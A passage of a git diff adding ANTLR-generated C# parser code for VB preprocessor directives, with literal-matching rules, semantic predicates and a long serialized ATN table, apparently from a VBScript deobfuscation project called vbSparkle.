1); + { + State = 667; + Match(DOUBLELITERAL); + } + break; + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case OCTALLITERAL: + _localctx = new LtDelimitedContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 668; + delimitedLiteral(); + } + break; + case INTEGERLITERAL: + _localctx = new LtIntegerContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 669; + Match(INTEGERLITERAL); + } + break; + case TRUE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 670; + Match(TRUE); + } + break; + case FALSE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 671; + Match(FALSE); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AnytokenContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBPreprocessorsParser.NEWLINE, 0); } + public AnytokenContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_anytoken; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAnytoken(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAnytoken(this); + } + } + + [RuleVersion(0)] + public AnytokenContext anytoken() { + AnytokenContext _localctx = new AnytokenContext(Context, State); + EnterRule(_localctx, 70, RULE_anytoken); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 674; + _la = TokenStream.LA(1); + if ( _la <= 0 || (_la==NEWLINE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public override bool Sempred(RuleContext _localctx, int ruleIndex, int predIndex) { + switch (ruleIndex) { + case 32: return valueStmt_sempred((ValueStmtContext)_localctx, predIndex); + } + return true; + } + private bool valueStmt_sempred(ValueStmtContext _localctx, int predIndex) { + switch (predIndex) { + case 0: return Precpred(Context, 18); + case 1: return Precpred(Context, 17); + case 2: return Precpred(Context, 16); + case 3: return Precpred(Context, 15); + case 4: return Precpred(Context, 14); + case 5: return Precpred(Context, 13); + case 6: return Precpred(Context, 12); + case 7: return Precpred(Context, 11); + case 8: return Precpred(Context, 10); + case 9: return Precpred(Context, 9); + case 10: return Precpred(Context, 8); + case 11: return Precpred(Context, 7); + case 12: return Precpred(Context, 6); + case 13: return Precpred(Context, 5); + case 14: return Precpred(Context, 4); + case 15: return Precpred(Context, 3); + case 16: return Precpred(Context, 2); + } + return true; + } + + private static int[] _serializedATN = { + 4,1,72,677,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7,6,2,7, + 7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14,7,14, + 2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21,7,21, + 2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28,7,28, + 2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35,7,35, + 1,0,5,0,74,8,0,10,0,12,0,77,9,0,1,0,5,0,80,8,0,10,0,12,0,83,9,0,1,0,3, + 0,86,8,0,1,1,1,1,1,1,3,1,91,8,1,1,1,1,1,3,1,95,8,1,1,1,1,1,1,2,5,2,100, + 8,2,10,2,12,2,103,9,2,1,2,1,2,3,2,107,8,2,1,2,4,2,110,8,2,11,2,12,2,111, + 1,2,3,2,115,8,2,1,3,1,3,1,3,1,3,1,3,3,3,122,8,3,1,4,4,4,125,8,4,11,4,12, + 4,126,1,5,3,5,130,8,5,1,5,5,5,133,8,5,10,5,12,5,136,9,5,1,5,3,5,139,8, + 5,1,5,5,5,142,8,5,10,5,12,5,145,9,5,1,5,3,5,148,8,5,1,5,5,5,151,8,5,10, + 5,12,5,154,9,5,1,5,3,5,157,8,5,1,5,5,5,160,8,5,10,5,12,5,163,9,5,1,6,4, + 6,166,8,6,11,6,12,6,167,1,7,1,7,3,7,172,8,7,1,7,1,7,3,7,176,8,7,1,7,1, + 7,1,7,3,7,181,8,7,1,7,3,7,184,8,7,1,7,5,7,187,8,7,10,7,12,7,190,9,7,1, + 8,1,8,1,9,1,9,1,10,1,10,1,10,1,10,1,10,3,10,201,8,10,1,11,1,11,4,11,205, + 8,11,11,11,12,11,206,1,11,4,11,210,8,11,11,11,12,11,211,1,11,1,11,4,11, + 216,8,11,11,11,12,11,217,1,12,1,12,3,12,222,8,12,1,12,1,12,3,12,226,8, + 12,1,12,1,12,1,12,1,13,4,13,232,8,13,11,13,12,13,233,1,13,1,13,4,13,238, + 8,13,11,13,12,13,239,1,13,3,13,243,8,13,1,14,1,14,4,14,247,8,14,11,14, + 12,14,248,4,14,251,8,14,11,14,12,14,252,1,15,1,15,5,15,257,8,15,10,15, + 12,15,260,9,15,1,15,3,15,263,8,15,1,15,1,15,1,16,1,16,1,16,1,16,1,16,1, + 16,1,17,1,17,3,17,275,8,17,1,17,5,17,278,8,17,10,17,12,17,281,9,17,1,17, + 4,17,284,8,17,11,17,12,17,285,1,17,5,17,289,8,17,10,17,12,17,292,9,17, + 1,18,1,18,1,18,1,18,1,18,1,18,3,18,300,8,18,1,18,5,18,303,8,18,10,18,12, + 18,306,9,18,1,18,4,18,309,8,18,11,18,12,18,310,1,18,5,18,314,8,18,10,18, + 12,18,317,9,18,1,19,1,19,3,19,321,8,19,1,19,5,19,324,8,19,10,19,12,19, + 327,9,19,1,19,4,19,330,8,19,11,19,12,19,331,1,19,5,19,335,8,19,10,19,12, + 19,338,9,19,1,20,4,20,341,8,20,11,20,12,20,342,1,21,1,21,1,22,1,22,3,22, + 349,8,22,1,23,4,23,352,8,23,11,23,12,23,353,1,24,3,24,357,8,24,1,24,1, + 24,1,24,1,24,1,24,1,24,3,24,365,8,24,1,24,4,24,368,8,24,11,24,12,24,369, + 1,24,4,24,373,8,24,11,24,12,24,374,1,24,1,24,5,24,379,8,24,10,24,12,24, + 382,9,24,1,25,1,25,3,25,386,8,25,1,26,3,26,389,8,26,1,26,1,26,1,26,1,26, + 1,26,1,26,3,26,397,8,26,1,26,1,26,3,26,401,8,26,1,26,4,26,404,8,26,11, + 26,12,26,405,1,26,4,26,409,8,26,11,26,12,26,410,3,26,413,8,26,1,26,1,26, + 4,26,417,8,26,11,26,12,26,418,1,27,1,27,1,28,1,28,1,28,5,28,426,8,28,10, + 28,12,28,429,9,28,1,29,1,29,1,30,1,30,1,30,1,30,3,30,437,8,30,1,30,1,30, + 3,30,441,8,30,1,30,1,30,3,30,445,8,30,1,30,1,30,3,30,449,8,30,1,30,5,30, + 452,8,30,10,30,12,30,455,9,30,1,31,1,31,1,32,1,32,1,32,1,32,1,32,3,32, + 464,8,32,1,32,1,32,3,32,468,8,32,1,32,1,32,3,32,472,8,32,1,32,5,32,475, + 8,32,10,32,12,32,478,9,32,1,32,3,32,481,8,32,1,32,1,32,1,32,1,32,3,32, + 487,8,32,1,32,1,32,1,32,3,32,492,8,32,1,32,1,32,1,32,1,32,1,32,1,32,3, + 32,500,8,32,1,32,1,32,3,32,504,8,32,1,32,1,32,3,32,508,8,32,3,32,510,8, + 32,1,32,1,32,3,32,514,8,32,1,32,1,32,3,32,518,8,32,1,32,1,32,1,32,3,32, + 523,8,32,1,32,1,32,3,32,527,8,32,1,32,1,32,1,32,3,32,532,8,32,1,32,1,32, + 3,32,536,8,32,1,32,1,32,1,32,3,32,541,8,32,1,32,1,32,3,32,545,8,32,1,32, + 1,32,1,32,3,32,550,8,32,1,32,1,32,3,32,554,8,32,1,32,1,32,1,32,3,32,559, + 8,32,1,32,1,32,3,32,563,8,32,1,32,1,32,1,32,3,32,568,8,32,1,32,1,32,3, + 32,572,8,32,1,32,1,32,1,32,3,32,577,8,32,1,32,1,32,3,32,581,8,32,1,32, + 1,32,1,32,3,32,586,8,32,1,32,1,32,3,32,590,8,32,1,32,1,32,1,32,3,32,595, + 8,32,1,32,1,32,3,32,599,8,32,1,32,1,32,1,32,3,32,604,8,32,1,32,1,32,3, + 32,608,8,32,1,32,1,32,1,32,3,32,613,8,32,1,32,1,32,3,32,617,8,32,1,32, + 1,32,1,32,3,32,622,8,32,1,32,1,32,3,32,626,8,32,1,32,1,32,1,32,3,32,631, + 8,32,1,32,1,32,3,32,635,8,32,1,32,1,32,1,32,3,32,640,8,32,1,32,1,32,3, + 32,644,8,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,5,32, + 657,8,32,10,32,12,32,660,9,32,1,33,1,33,1,33,1,33,3,33,666,8,33,1,34,1, + 34,1,34,1,34,1,34,3,34,673,8,34,1,35,1,35,1,35,0,1,64,36,0,2,4,6,8,10, + 12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58, + 60,62,64,66,68,70,0,4,4,0,1,1,19,22,65,65,67,67,3,0,23,23,36,36,48,48, + 2,0,47,47,50,50,1,0,65,65,784,0,75,1,0,0,0,2,87,1,0,0,0,4,101,1,0,0,0, + 6,121,1,0,0,0,8,124,1,0,0,0,10,129,1,0,0,0,12,165,1,0,0,0,14,169,1,0,0, + 0,16,191,1,0,0,0,18,193,1,0,0,0,20,195,1,0,0,0,22,202,1,0,0,0,24,219,1, + 0,0,0,26,242,1,0,0,0,28,250,1,0,0,0,30,254,1,0,0,0,32,266,1,0,0,0,34,272, + 1,0,0,0,36,293,1,0,0,0,38,318,1,0,0,0,40,340,1,0,0,0,42,344,1,0,0,0,44, + 346,1,0,0,0,46,351,1,0,0,0,48,356,1,0,0,0,50,385,1,0,0,0,52,388,1,0,0, + 0,54,420,1,0,0,0,56,422,1,0,0,0,58,430,1,0,0,0,60,432,1,0,0,0,62,456,1, + 0,0,0,64,509,1,0,0,0,66,665,1,0,0,0,68,672,1,0,0,0,70,674,1,0,0,0,72,74, + 5,65,0,0,73,72,1,0,0,0,74,77,1,0,0,0,75,73,1,0,0,0,75,76,1,0,0,0,76,81, + 1,0,0,0,77,75,1,0,0,0,78,80,3,4,2,0,79,78,1,0,0,0,80,83,1,0,0,0,81,79, + 1,0,0,0,81,82,1,0,0,0,82,85,1,0,0,0,83,81,1,0,0,0,84,86,5,0,0,1,85,84, + 1,0,0,0,85,86,1,0,0,0,86,1,1,0,0,0,87,88,5,1,0,0,88,90,5,66,0,0,89,91, + 5,69,0,0,90,89,1,0,0,0,90,91,1,0,0,0,91,92,1,0,0,0,92,94,5,38,0,0,93,95, + 5,69,0,0,94,93,1,0,0,0,94,95,1,0,0,0,95,96,1,0,0,0,96,97,3,64,32,0,97, + 3,1,0,0,0,98,100,3,42,21,0,99,98,1,0,0,0,100,103,1,0,0,0,101,99,1,0,0, + 0,101,102,1,0,0,0,102,104,1,0,0,0,103,101,1,0,0,0,104,106,3,6,3,0,105, + 107,3,40,20,0,106,105,1,0,0,0,106,107,1,0,0,0,107,114,1,0,0,0,108,110, + 5,65,0,0,109,108,1,0,0,0,110,111,1,0,0,0,111,109,1,0,0,0,111,112,1,0,0, + 0,112,115,1,0,0,0,113,115,5,0,0,1,114,109,1,0,0,0,114,113,1,0,0,0,115, + 5,1,0,0,0,116,122,3,30,15,0,117,122,3,2,1,0,118,122,3,40,20,0,119,122, + 3,8,4,0,120,122,3,42,21,0,121,116,1,0,0,0,121,117,1,0,0,0,121,118,1,0, + 0,0,121,119,1,0,0,0,121,120,1,0,0,0,122,7,1,0,0,0,123,125,3,44,22,0,124, + 123,1,0,0,0,125,126,1,0,0,0,126,124,1,0,0,0,126,127,1,0,0,0,127,9,1,0, + 0,0,128,130,3,12,6,0,129,128,1,0,0,0,129,130,1,0,0,0,130,134,1,0,0,0,131, + 133,5,65,0,0,132,131,1,0,0,0,133,136,1,0,0,0,134,132,1,0,0,0,134,135,1, + 0,0,0,135,138,1,0,0,0,136,134,1,0,0,0,137,139,3,48,24,0,138,137,1,0,0, + 0,138,139,1,0,0,0,139,143,1,0,0,0,140,142,5,65,0,0,141,140,1,0,0,0,142, + 145,1,0,0,0,143,141,1,0,0,0,143,144,1,0,0,0,144,147,1,0,0,0,145,143,1, + 0,0,0,146,148,3,22,11,0,147,146,1,0,0,0,147,148,1,0,0,0,148,152,1,0,0, + 0,149,151,5,65,0,0,150,149,1,0,0,0,151,154,1,0,0,0,152,150,1,0,0,0,152, + 153,1,0,0,0,153,156,1,0,0,0,154,152,1,0,0,0,155,157,3,28,14,0,156,155, + 1,0,0,0,156,157,1,0,0,0,157,161,1,0,0,0,158,160,5,65,0,0,159,158,1,0,0, + 0,160,163,1,0,0,0,161,159,1,0,0,0,161,162,1,0,0,0,162,11,1,0,0,0,163,161, + 1,0,0,0,164,166,3,14,7,0,165,164,1,0,0,0,166,167,1,0,0,0,167,165,1,0,0, + 0,167,168,1,0,0,0,168,13,1,0,0,0,169,171,5,27,0,0,170,172,5,69,0,0,171, + 170,1,0,0,0,171,172,1,0,0,0,172,173,1,0,0,0,173,175,5,38,0,0,174,176,5, + 69,0,0,175,174,1,0,0,0,175,176,1,0,0,0,176,177,1,0,0,0,177,183,3,16,8, + 0,178,180,5,54,0,0,179,181,5,69,0,0,180,179,1,0,0,0,180,181,1,0,0,0,181, + 182,1,0,0,0,182,184,3,18,9,0,183,178,1,0,0,0,183,184,1,0,0,0,184,188,1, + 0,0,0,185,187,5,65,0,0,186,185,1,0,0,0,187,190,1,0,0,0,188,186,1,0,0,0, + 188,189,1,0,0,0,189,15,1,0,0,0,190,188,1,0,0,0,191,192,5,57,0,0,192,17, + 1,0,0,0,193,194,5,57,0,0,194,19,1,0,0,0,195,196,5,31,0,0,196,197,5,69, + 0,0,197,200,5,61,0,0,198,199,5,69,0,0,199,201,5,6,0,0,200,198,1,0,0,0, + 200,201,1,0,0,0,201,21,1,0,0,0,202,204,5,4,0,0,203,205,5,65,0,0,204,203, + 1,0,0,0,205,206,1,0,0,0,206,204,1,0,0,0,206,207,1,0,0,0,207,209,1,0,0, + 0,208,210,3,24,12,0,209,208,1,0,0,0,210,211,1,0,0,0,211,209,1,0,0,0,211, + 212,1,0,0,0,212,213,1,0,0,0,213,215,5,11,0,0,214,216,5,65,0,0,215,214, + 1,0,0,0,216,217,1,0,0,0,217,215,1,0,0,0,217,218,1,0,0,0,218,23,1,0,0,0, + 219,221,3,26,13,0,220,222,5,69,0,0,221,220,1,0,0,0,221,222,1,0,0,0,222, + 223,1,0,0,0,223,225,5,38,0,0,224,226,5,69,0,0,225,224,1,0,0,0,225,226, + 1,0,0,0,226,227,1,0,0,0,227,228,3,68,34,0,228,229,5,65,0,0,229,25,1,0, + 0,0,230,232,5,66,0,0,231,230,1,0,0,0,232,233,1,0,0,0,233,231,1,0,0,0,233, + 234,1,0,0,0,234,243,1,0,0,0,235,237,5,55,0,0,236,238,5,66,0,0,237,236, + 1,0,0,0,238,239,1,0,0,0,239,237,1,0,0,0,239,240,1,0,0,0,240,241,1,0,0, + 0,241,243,5,56,0,0,242,231,1,0,0,0,242,235,1,0,0,0,243,27,1,0,0,0,244, + 246,3,60,30,0,245,247,5,65,0,0,246,245,1,0,0,0,247,248,1,0,0,0,248,246, + 1,0,0,0,248,249,1,0,0,0,249,251,1,0,0,0,250,244,1,0,0,0,251,252,1,0,0, + 0,252,250,1,0,0,0,252,253,1,0,0,0,253,29,1,0,0,0,254,258,3,34,17,0,255, + 257,3,36,18,0,256,255,1,0,0,0,257,260,1,0,0,0,258,256,1,0,0,0,258,259, + 1,0,0,0,259,262,1,0,0,0,260,258,1,0,0,0,261,263,3,38,19,0,262,261,1,0, + 0,0,262,263,1,0,0,0,263,264,1,0,0,0,264,265,5,22,0,0,265,31,1,0,0,0,266, + 267,5,19,0,0,267,268,5,69,0,0,268,269,3,62,31,0,269,270,5,69,0,0,270,271, + 5,29,0,0,271,33,1,0,0,0,272,274,3,32,16,0,273,275,5,69,0,0,274,273,1,0, + 0,0,274,275,1,0,0,0,275,279,1,0,0,0,276,278,3,40,20,0,277,276,1,0,0,0, + 278,281,1,0,0,0,279,277,1,0,0,0,279,280,1,0,0,0,280,283,1,0,0,0,281,279, + 1,0,0,0,282,284,5,65,0,0,283,282,1,0,0,0,284,285,1,0,0,0,285,283,1,0,0, + 0,285,286,1,0,0,0,286,290,1,0,0,0,287,289,3,4,2,0,288,287,1,0,0,0,289, + 292,1,0,0,0,290,288,1,0,0,0,290,291,1,0,0,0,291,35,1,0,0,0,292,290,1,0, + 0,0,293,294,5,20,0,0,294,295,5,69,0,0,295,296,3,62,31,0,296,297,5,69,0, + 0,297,299,5,29,0,0,298,300,5,69,0,0,299,298,1,0,0,0,299,300,1,0,0,0,300, + 304,1,0,0,0,301,303,3,40,20,0,302,301,1,0,0,0,303,306,1,0,0,0,304,302, + 1,0,0,0,304,305,1,0,0,0,305,308,1,0,0,0,306,304,1,0,0,0,307,309,5,65,0, + 0,308,307,1,0,0,0,309,310,1,0,0,0,310,308,1,0,0,0,310,311,1,0,0,0,311, + 315,1,0,0,0,312,314,3,4,2,0,313,312,1,0,0,0,314,317,1,0,0,0,315,313,1, + 0,0,0,315,316,1,0,0,0,316,37,1,0,0,0,317,315,1,0,0,0,318,320,5,21,0,0, + 319,321,5,69,0,0,320,319,1,0,0,0,320,321,1,0,0,0,321,325,1,0,0,0,322,324, + 3,40,20,0,323,322,1,0,0,0,324,327,1,0,0,0,325,323,1,0,0,0,325,326,1,0, + 0,0,326,329,1,0,0,0,327,325,1,0,0,0,328,330,5,65,0,0,329,328,1,0,0,0,330, + 331,1,0,0,0,331,329,1,0,0,0,331,332,1,0,0,0,332,336,1,0,0,0,333,335,3, + 4,2,0,334,333,1,0,0,0,335,338,1,0,0,0,336,334,1,0,0,0,336,337,1,0,0,0, + 337,39,1,0,0,0,338,336,1,0,0,0,339,341,5,67,0,0,340,339,1,0,0,0,341,342, + 1,0,0,0,342,340,1,0,0,0,342,343,1,0,0,0,343,41,1,0,0,0,344,345,5,72,0, + 0,345,43,1,0,0,0,346,348,3,46,23,0,347,349,5,67,0,0,348,347,1,0,0,0,348, + 349,1,0,0,0,349,45,1,0,0,0,350,352,8,0,0,0,351,350,1,0,0,0,352,353,1,0, + 0,0,353,351,1,0,0,0,353,354,1,0,0,0,354,47,1,0,0,0,355,357,5,69,0,0,356, + 355,1,0,0,0,356,357,1,0,0,0,357,358,1,0,0,0,358,359,5,4,0,0,359,360,5, + 69,0,0,360,361,3,54,27,0,361,362,5,69,0,0,362,364,3,58,29,0,363,365,5, + 69,0,0,364,363,1,0,0,0,364,365,1,0,0,0,365,367,1,0,0,0,366,368,5,65,0, + 0,367,366,1,0,0,0,368,369,1,0,0,0,369,367,1,0,0,0,369,370,1,0,0,0,370, + 372,1,0,0,0,371,373,3,50,25,0,372,371,1,0,0,0,373,374,1,0,0,0,374,372, + 1,0,0,0,374,375,1,0,0,0,375,376,1,0,0,0,376,380,5,11,0,0,377,379,5,65, + 0,0,378,377,1,0,0,0,379,382,1,0,0,0,380,378,1,0,0,0,380,381,1,0,0,0,381, + 49,1,0,0,0,382,380,1,0,0,0,383,386,3,52,26,0,384,386,3,48,24,0,385,383, + 1,0,0,0,385,384,1,0,0,0,386,51,1,0,0,0,387,389,5,69,0,0,388,387,1,0,0, + 0,388,389,1,0,0,0,389,390,1,0,0,0,390,391,5,5,0,0,391,392,5,69,0,0,392, + 396,3,26,13,0,393,394,5,45,0,0,394,395,5,60,0,0,395,397,5,53,0,0,396,393, + 1,0,0,0,396,397,1,0,0,0,397,400,1,0,0,0,398,399,5,69,0,0,399,401,5,64, + 0,0,400,398,1,0,0,0,400,401,1,0,0,0,401,403,1,0,0,0,402,404,5,65,0,0,403, + 402,1,0,0,0,404,405,1,0,0,0,405,403,1,0,0,0,405,406,1,0,0,0,406,412,1, + 0,0,0,407,409,3,50,25,0,408,407,1,0,0,0,409,410,1,0,0,0,410,408,1,0,0, + 0,410,411,1,0,0,0,411,413,1,0,0,0,412,408,1,0,0,0,412,413,1,0,0,0,413, + 414,1,0,0,0,414,416,5,12,0,0,415,417,5,65,0,0,416,415,1,0,0,0,417,418, + 1,0,0,0,418,416,1,0,0,0,418,419,1,0,0,0,419,53,1,0,0,0,420,421,3,56,28, + 0,421,55,1,0,0,0,422,427,3,26,13,0,423,424,5,37,0,0,424,426,3,26,13,0, + 425,423,1,0,0,0,426,429,1,0,0,0,427,425,1,0,0,0,427,428,1,0,0,0,428,57, + 1,0,0,0,429,427,1,0,0,0,430,431,3,26,13,0,431,59,1,0,0,0,432,433,5,3,0, + 0,433,434,5,69,0,0,434,436,3,26,13,0,435,437,5,69,0,0,436,435,1,0,0,0, + 436,437,1,0,0,0,437,438,1,0,0,0,438,440,5,38,0,0,439,441,5,69,0,0,440, + 439,1,0,0,0,440,441,1,0,0,0,441,442,1,0,0,0,442,453,3,68,34,0,443,445, + 5,69,0,0,444,443,1,0,0,0,444,445,1,0,0,0,445,446,1,0,0,0,446,448,5,35, + 0,0,447,449,5,69,0,0,448,447,1,0,0,0,448,449,1,0,0,0,449,450,1,0,0,0,450, + 452,3,68,34,0,451,444,1,0,0,0,452,455,1,0,0,0,453,451,1,0,0,0,453,454, + 1,0,0,0,454,61,1,0,0,0,455,453,1,0,0,0,456,457,3,64,32,0,457,63,1,0,0, + 0,458,459,6,32,-1,0,459,510,3,68,34,0,460,510,3,26,13,0,461,463,5,45,0, + 0,462,464,5,69,0,0,463,462,1,0,0,0,463,464,1,0,0,0,464,465,1,0,0,0,465, + 476,3,64,32,0,466,468,5,69,0,0,467,466,1,0,0,0,467,468,1,0,0,0,468,469, + 1,0,0,0,469,471,5,35,0,0,470,472,5,69,0,0,471,470,1,0,0,0,471,472,1,0, + 0,0,472,473,1,0,0,0,473,475,3,64,32,0,474,467,1,0,0,0,475,478,1,0,0,0, + 476,474,1,0,0,0,476,477,1,0,0,0,477,480,1,0,0,0,478,476,1,0,0,0,479,481, + 5,69,0,0,480,479,1,0,0,0,480,481,1,0,0,0,481,482,1,0,0,0,482,483,5,53, + 0,0,483,510,1,0,0,0,484,486,5,50,0,0,485,487,5,69,0,0,486,485,1,0,0,0, + 486,487,1,0,0,0,487,488,1,0,0,0,488,510,3,64,32,20,489,491,5,47,0,0,490, + 492,5,69,0,0,491,490,1,0,0,0,491,492,1,0,0,0,492,493,1,0,0,0,493,510,3, + 64,32,19,494,507,5,24,0,0,495,496,5,69,0,0,496,508,3,64,32,0,497,499,5, + 45,0,0,498,500,5,69,0,0,499,498,1,0,0,0,499,500,1,0,0,0,500,501,1,0,0, + 0,501,503,3,64,32,0,502,504,5,69,0,0,503,502,1,0,0,0,503,504,1,0,0,0,504, + 505,1,0,0,0,505,506,5,53,0,0,506,508,1,0,0,0,507,495,1,0,0,0,507,497,1, + 0,0,0,508,510,1,0,0,0,509,458,1,0,0,0,509,460,1,0,0,0,509,461,1,0,0,0, + 509,484,1,0,0,0,509,489,1,0,0,0,509,494,1,0,0,0,510,658,1,0,0,0,511,513, + 10,18,0,0,512,514,5,69,0,0,513,512,1,0,0,0,513,514,1,0,0,0,514,515,1,0, + 0,0,515,517,5,51,0,0,516,518,5,69,0,0,517,516,1,0,0,0,517,518,1,0,0,0, + 518,519,1,0,0,0,519,657,3,64,32,19,520,522,10,17,0,0,521,523,5,69,0,0, + 522,521,1,0,0,0,522,523,1,0,0,0,523,524,1,0,0,0,524,526,7,1,0,0,525,527, + 5,69,0,0,526,525,1,0,0,0,526,527,1,0,0,0,527,528,1,0,0,0,528,657,3,64, + 32,18,529,531,10,16,0,0,530,532,5,69,0,0,531,530,1,0,0,0,531,532,1,0,0, + 0,532,533,1,0,0,0,533,535,7,2,0,0,534,536,5,69,0,0,535,534,1,0,0,0,535, + 536,1,0,0,0,536,537,1,0,0,0,537,657,3,64,32,17,538,540,10,15,0,0,539,541, + 5,69,0,0,540,539,1,0,0,0,540,541,1,0,0,0,541,542,1,0,0,0,542,544,5,33, + 0,0,543,545,5,69,0,0,544,543,1,0,0,0,544,545,1,0,0,0,545,546,1,0,0,0,546, + 657,3,64,32,16,547,549,10,14,0,0,548,550,5,69,0,0,549,548,1,0,0,0,549, + 550,1,0,0,0,550,551,1,0,0,0,551,553,5,38,0,0,552,554,5,69,0,0,553,552, + 1,0,0,0,553,554,1,0,0,0,554,555,1,0,0,0,555,657,3,64,32,15,556,558,10, + 13,0,0,557,559,5,69,0,0,558,557,1,0,0,0,558,559,1,0,0,0,559,560,1,0,0, + 0,560,562,5,49,0,0,561,563,5,69,0,0,562,561,1,0,0,0,562,563,1,0,0,0,563, + 564,1,0,0,0,564,657,3,64,32,14,565,567,10,12,0,0,566,568,5,69,0,0,567, + 566,1,0,0,0,567,568,1,0,0,0,568,569,1,0,0,0,569,571,5,46,0,0,570,572,5, + 69,0,0,571,570,1,0,0,0,571,572,1,0,0,0,572,573,1,0,0,0,573,657,3,64,32, + 13,574,576,10,11,0,0,575,577,5,69,0,0,576,575,1,0,0,0,576,577,1,0,0,0, + 577,578,1,0,0,0,578,580,5,41,0,0,579,581,5,69,0,0,580,579,1,0,0,0,580, + 581,1,0,0,0,581,582,1,0,0,0,582,657,3,64,32,12,583,585,10,10,0,0,584,586, + 5,69,0,0,585,584,1,0,0,0,585,586,1,0,0,0,586,587,1,0,0,0,587,589,5,43, + 0,0,588,590,5,69,0,0,589,588,1,0,0,0,589,590,1,0,0,0,590,591,1,0,0,0,591, + 657,3,64,32,11,592,594,10,9,0,0,593,595,5,69,0,0,594,593,1,0,0,0,594,595, + 1,0,0,0,595,596,1,0,0,0,596,598,5,40,0,0,597,599,5,69,0,0,598,597,1,0, + 0,0,598,599,1,0,0,0,599,600,1,0,0,0,600,657,3,64,32,10,601,603,10,8,0, + 0,602,604,5,69,0,0,603,602,1,0,0,0,603,604,1,0,0,0,604,605,1,0,0,0,605, + 607,5,2,0,0,606,608,5,69,0,0,607,606,1,0,0,0,607,608,1,0,0,0,608,609,1, + 0,0,0,609,657,3,64,32,9,610,612,10,7,0,0,611,613,5,69,0,0,612,611,1,0, + 0,0,612,613,1,0,0,0,613,614,1,0,0,0,614,616,5,28,0,0,615,617,5,69,0,0, + 616,615,1,0,0,0,616,617,1,0,0,0,617,618,1,0,0,0,618,657,3,64,32,8,619, + 621,10,6,0,0,620,622,5,69,0,0,621,620,1,0,0,0,621,622,1,0,0,0,622,623, + 1,0,0,0,623,625,5,32,0,0,624,626,5,69,0,0,625,624,1,0,0,0,625,626,1,0, + 0,0,626,627,1,0,0,0,627,657,3,64,32,7,628,630,10,5,0,0,629,631,5,69,0, + 0,630,629,1,0,0,0,630,631,1,0,0,0,631,632,1,0,0,0,632,634,5,13,0,0,633, + 635,5,69,0,0,634,633,1,0,0,0,634,635,1,0,0,0,635,636,1,0,0,0,636,657,3, + 64,32,6,637,639,10,4,0,0,638,640,5,69,0,0,639,638,1,0,0,0,639,640,1,0, + 0,0,640,641,1,0,0,0,641,643,5,16,0,0,642,644,5,69,0,0,643,642,1,0,0,0, + 643,644,1,0,0,0,644,645,1,0,0,0,645,657,3,64,32,5,646,647,10,3,0,0,647, + 648,5,69,0,0,648,649,5,18,0,0,649,650,5,69,0,0,650,657,3,64,32,4,651,652, + 10,2,0,0,652,653,5,69,0,0,653,654,5,17,0,0,654,655,5,69,0,0,655,657,3, + 64,32,3,656,511,1,0,0,0,656,520,1,0,0,0,656,529,1,0,0,0,656,538,1,0,0, + 0,656,547,1,0,0,0,656,556,1,0,0,0,656,565,1,0,0,0,656,574,1,0,0,0,656, + 583,1,0,0,0,656,592,1,0,0,0,656,601,1,0,0,0,656,610,1,0,0,0,656,619,1, + 0,0,0,656,628,1,0,0,0,656,637,1,0,0,0,656,646,1,0,0,0,656,651,1,0,0,0, + 657,660,1,0,0,0,658,656,1,0,0,0,658,659,1,0,0,0,659,65,1,0,0,0,660,658, + 1,0,0,0,661,666,5,59,0,0,662,666,5,63,0,0,663,666,5,58,0,0,664,666,5,57, + 0,0,665,661,1,0,0,0,665,662,1,0,0,0,665,663,1,0,0,0,665,664,1,0,0,0,666, + 67,1,0,0,0,667,673,5,61,0,0,668,673,3,66,33,0,669,673,5,60,0,0,670,673, + 5,30,0,0,671,673,5,14,0,0,672,667,1,0,0,0,672,668,1,0,0,0,672,669,1,0, + 0,0,672,670,1,0,0,0,672,671,1,0,0,0,673,69,1,0,0,0,674,675,8,3,0,0,675, + 71,1,0,0,0,117,75,81,85,90,94,101,106,111,114,121,126,129,134,138,143, + 147,152,156,161,167,171,175,180,183,188,200,206,211,217,221,225,233,239, + 242,248,252,258,262,274,279,285,290,299,304,310,315,320,325,331,336,342, + 348,353,356,364,369,374,380,385,388,396,400,405,410,412,418,427,436,440, + 444,448,453,463,467,471,476,480,486,491,499,503,507,509,513,517,522,526, + 531,535,540,544,549,553,558,562,567,571,576,580,585,589,594,598,603,607, + 612,616,621,625,630,634,639,643,656,658,665,672 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBScript.interp b/Sources/vbSparkle/VBScript.interp new file mode 100644 index 0000000..afbcd3f --- 